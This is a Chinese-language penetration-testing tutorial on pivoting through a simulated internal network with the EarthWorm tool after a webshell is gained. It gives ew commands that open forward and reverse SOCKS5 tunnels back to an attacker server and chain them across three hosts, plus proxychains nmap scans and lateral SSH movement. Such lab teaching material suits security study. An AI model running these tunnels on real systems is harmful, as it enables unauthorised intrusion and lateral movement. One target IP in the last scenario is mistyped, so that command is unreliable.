使用ew完成多場景下內網代理穿透

 日期 2019-04-20  基礎,內網滲透,代理穿透,端口轉發 作者 amm907  共0評論

 

0x01 需求

當滲透進行到內網，常需要將流量代理到內網進行進一步擴展如：

• 端口掃描
• 端口轉發
• 訪問內網web服務
• ……

0x02 場景

以下模擬一個使用場景。

1、環境配置、網絡拓撲

• A1 - 120.x.x.x - Kali - 公網攻擊服務器
• V1 - 10.10.1.111 - Centos - 內網服務器，對公網開放但無公網IP，80端口存在web應用，通過一台nginx對公網開放，現已獲得webshell，路由可抵達10.10.1段。
• V2 - 10.10.2.111 - Centos - 內網服務器，不對公網開放，路由可抵達10.10.1和10.10.3段。
• V3 - 10.10.3.111 - Centos - 內網服務器，不對公網開放，8080端口存在web應用，10.10.2段路由可達，10.10.1段路由不可達。

2、前提描述

在一次滲透中，操作A1對V1上web應用進行滲透，獲取了V1的webshell，並反彈shell到A1上。接下來打算做內網滲透，進一步發現內網資源。

0x03 操作

實現內網穿透的工具有很多，如Earthworm，Termite，reGeorg，nps等，此處主要利用ew對模擬內網進行操作。

EW（Earthworm）是一套便攜式的網絡穿透工具，具有SOCKS v5服務架設和端口轉發兩大核心功能，可在復雜網絡環境下完成網絡穿透。
能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道，直達網絡深處，突破網絡限制。

共有6中模式：

• ssocksd - 正向代理
• rcsocks - 反向代理1，流量轉發
• rssocks - 反向代理2，反彈socks5
• lcx_listen - 反向代理1，流量轉發
• lcx_tran - 端口轉發
• lcx_slave - 端口綁定

場景一：把流量代理到V1，進行內網信息收集

獲得V1的shell后，先下載ew，准備架設socks5，將流量代理本地。
這里可以選擇兩種方式：正向代理和反向代理。

正向代理：
假設目標機V1有公網IP（139.x.x.x），可以使用正向的方式代理流量。
在目標機V1上啟動socks5服務並監聽1080端口：

./ew -s ssocksd -l 1080

接着流量代理到139.x.x.x的1080端口，就相當於把流量代理到目標機V1了，就可以使用相關工具做進一步滲透。
A1上proxychains代理配置：

vi /etc/proxychains.conf
[ProxyList]
socks5    139.x.x.x    1080

反向代理：
由於場景中目標機V1沒有公網IP，但是能訪問公網。因為V1沒有具體地址，無法使用正向連接，可使用反彈連接的方式代理流量。
在攻擊機A1本地啟動流量轉發，將來自外部1080端口的流量轉發到本地8888端口，並等待目標反彈連接：

./ew -s rcsocks -l 1080 -e 8888

在目標機V1上啟動socks5服務，並反彈到攻擊機A1的8888端口：

./ew -s rssocks -d 120.x.x.x -e 8888

代理通道架設完畢，訪問A1的1080相當於訪問V1的8888端口，在攻擊機A1上使用proxychain將流量代理到本地1080端口，相當於把流量代理到目標機V1上了，在A1上發起請求相當於在V1上發起請求，然后可以使用相關工具做進一步滲透。
A1上proxychains代理配置：

[ProxyList]
socks5    127.0.0.1    1080

接下來借助V1進一步發現內網各段的機器，在A1上使用nmap掃描端口：

proxychains nmap -p xxx 

-sT -Pn -open 10.10.1.111/16
注意：由於proxychains無法代理icmp的數據包，要加上禁ping參數-Pn（不檢測主機是否存活，直接進行端口tcp掃描）

掃描結果發現僅能抵達10.2段內網機器V2-10.10.2.111，開放了22以及其他端口
嘗試對V2進行滲透，在V1上發現已設置了V2的免密登錄，在之前V1反彈的shell中用ssh成功登錄到V2。

場景二：把流量代理到V2，進行進一步信息收集

現已獲得V2的shell，檢查發現V2不通公網，無法反向代理公網流量，需要通過V1進行多級代理。接下來將流量代理到V2上進行進一步探測。
這里同樣有兩種方式：正向代理和反向代理。
正向代理：
假設目標機V1有公網IP（139.x.x.x），可以使用正向的方式代理流量。
在目標機V2上啟動socks5代理並監聽9999端口：

./ew -s ssocksd -l 9999

在V1上啟動流量轉發，將V1的1080端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

接着流量代理到139.x.x.x的1080端口，就相當於把流量代理到目標機V2上了。
A1上proxychains代理配置：

[ProxyList]
socks5    139.x.x.x    1080

反向代理：
在攻擊機A1本地啟動流量轉發，將來自外部1080端口的流量轉發到本地8888端口，並等待目標反彈連接：

./ew -s lcx_listen -l 1080 -e 8888

傳輸ew到V2上，在V2啟動socks5代理並監聽9999端口：

./ew -s ssocksd -l 9999

最后在V1執行，將A1的8888端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

代理通道架設完畢，訪問A1的1080相當於訪問V2的9999端口，在攻擊機A1上使用proxychain將流量代理到本地1080端口，相當於把流量代理到目標機V2上了，在A1上發起請求相當於在V2上發起請求。
A1上proxychains代理配置：

[ProxyList]
socks5    127.0.0.1    1080

接着就可以使用相關工具做進一步滲透，此處先在A1上使用nmap掃描端口：

proxychains nmap -p xxx -sT -Pn -open 10.10.2.111/16

掃描結果發現能抵達10.3網段的一台內網機器V3-10.10.3.111，開放端口為8080。
根據之前在V1上的掃描結果，10.1段無法抵達10.3段，但是通過V2做跳板，可以訪問到更深一層的內網機器和應用。

對A1瀏覽器進行代理設置，代理到本地1080端口，即把流量代理到了V2，從而可以訪問V3上的內網web應用。
嘗試在瀏覽器上訪問http://10.10.3.111:8080，發現是某運維管理系統，接下來便可以進一步web滲透，略。

場景三：假設已獲得V3的shell，現將流量代理到V3。（三級級聯）

正向代理：
假設目標機V1有公網IP（139.x.x.x），可以使用正向的方式代理流量。
在V1上啟動流量轉發，將V1的1080端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在V2上啟動流量轉發，將V2的9999 端口與V3的8888端口綁定，建立socks5通道：

./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8888

在目標機V3上啟動socks5代理並監聽8888端口：

./ew -s ssocksd -l 8888

方式不止一種：通過場景二中反向代理的方式，從V1→V3架設也能實現。
接着流量代理到139.x.x.x的1080端口，就相當於把流量代理到目標機V3上了。
A1上proxychains代理配置：

[ProxyList]
socks5    139.x.x.x    1080

反向代理：
在攻擊機A1執行，本地啟動流量轉發，將來自外部1080端口的流量轉發到本地的8888端口，並等待目標反彈連接：

./ew -s rcsocks -l 1080 -e 8888

在V1執行，將A1的8888端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在V2執行，本地啟動流量轉發，將來自外部9999端口的流量轉發到本地的7777端口，等待目標機V3反彈連接：

./ew -s lcx_listen -l 9999 -e 7777

在目標機V3執行，啟動socks5服務，並反彈到V2的7777端口：

./ew -s rssocks -d 10.10.2.111 -e 7777

代理通道架設完畢，訪問A1的1080相當於訪問V3的7777端口，在攻擊機A1上使用proxychain將流量代理到本地1080端口，相當於把流量代理到目標機V3上了，在A1上發起請求相當於在V3上發起請求。
A1上proxychains代理配置：

[ProxyList]
socks5    127.0.0.1    1080

場景四：三級級聯下的端口轉發操作

ew同樣支持內網端口轉發，現將內網目標機V3上的web應用端口代理到外網。
正向代理：
假設目標機V1有公網IP（139.x.x.x），可以使用正向的方式代理流量。
在V1上啟動流量轉發，將V1的1080端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在V2上啟動流量轉發，將V2的9999端口與V3的8080端口綁定，建立socks5通道：

./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8080

代理通道架設完畢，訪問V1的1080相當於訪問V3的8080端口。
A1瀏覽器上訪問http://139.x.x.x:1080，即訪問V3上的內網web應用。

反向代理：
在A1執行，本地啟動流量轉發，將來自外部1080端口的流量轉發到本地的8888端口，並等待目標反彈連接：

./ew -s lcx_listen -l 1080 -e 8888

在V1執行，將A1的8888端口與V2的9999端口綁定，建立socks5通道：

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在V2執行，啟動流量轉發，將V2的9999端口與V3的8080端口綁定，建立socks5通道：

./ew -s lcx_tran -l 9999 -f 10.3.10.111 -g 8080

代理通道架設完畢，訪問A1的1080相當於訪問V3的8080端口。
A1瀏覽器上訪問http://127.0.0.1:1080，即訪問V3上的內網web應用。

0x04 總結

實戰中的多樣化場景可能更加復雜也可能比較簡單，無法一一闡述，篇章盡量覆蓋常見類型場景，描述了4種場景下ew的基本使用。
內容都是基礎，工具在使用上也無太多難處，關鍵在於弄清楚實戰中目標內網數據流向，把復雜的大場景拆分成若干個小場景，使問題變得簡單。
紙上得來終覺淺，絕知此事要躬行，多實操多思考，方能不斷進步。